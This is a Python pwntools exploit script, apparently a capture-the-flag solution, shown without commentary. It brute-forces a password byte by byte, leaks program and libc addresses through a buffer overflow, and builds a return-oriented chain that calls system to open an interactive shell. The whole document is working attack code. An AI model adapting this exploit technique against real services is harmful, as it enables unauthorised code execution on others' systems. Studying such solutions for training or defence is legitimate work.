1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| def pwn(): password = b"" for i in range(0x10): for ch in range(1, 0x100): if ch == 0x0a: continue io.sendlineafter(b">> ", b"1") io.sendafter(b"passowrd", password + bytes([ch]) + b'\0') if b"Success" in io.recvline(): password += bytes([ch]) io.sendlineafter(b">> ", b"1") break if len(password) != i + 1: print("ERROR") exit() success("password: "+repr(password))
progaddr = b"" for i in range(0x6): for ch in range(1, 0x100): if ch == 0x0a: continue io.sendafter(b">> ", b"1"*0x10) io.sendafter(b"passowrd", password + b'1'*0x10 + progaddr + bytes([ch]) + b'\0') if b"Success" in io.recvline(): progaddr += bytes([ch]) io.sendafter(b">> ", b"1"*0x10) break if len(progaddr) != i + 1: print("ERROR") exit() progaddr = unpack(progaddr+b'\0\0') - 0x1060 success("stackaddr: "+hex(progaddr))
my_read = 0xca0 io.sendlineafter(b">> ", b"1") io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read)) io.sendlineafter(b">> ", b"3") io.sendafter(b"Copy :", b'a'*0x10)
start = 0xb70 pop_rdi = 0x10c3 payload = flat([ progaddr+pop_rdi, progaddr+elf.got['puts'], progaddr+elf.plt['puts'], progaddr+start, ])
io.sendafter(b">> ", b"2"*0x10) io.send(pack(progaddr)+b'a'*0x18+payload)
libcaddr = unpack(io.recvuntil(b"\n")[:-1]+b'\0\0') - libc.sym['puts'] success("libcaddr: "+hex(libcaddr))
io.sendlineafter(b">> ", b"1") password = b"" for i in range(0x10): for ch in range(1, 0x100): if ch == 0x0a: continue io.sendlineafter(b">> ", b"1") io.sendafter(b"passowrd", password + bytes([ch]) + b'\0') if b"Success" in io.recvline(): password += bytes([ch]) io.sendlineafter(b">> ", b"1") break if len(password) != i + 1: print("ERROR") exit() success("password: "+repr(password))
io.sendlineafter(b">> ", b"1") io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read)) io.sendlineafter(b">> ", b"3") io.sendafter(b"Copy :", b'a'*0x10)
io.sendafter(b">> ", b"2"*0x10) io.send(pack(progaddr)+b'a'*0x18+pack(progaddr+pop_rdi)+pack(libcaddr+0x000000000018c177)+pack(libcaddr+libc.sym['system']))
io.interactive()
|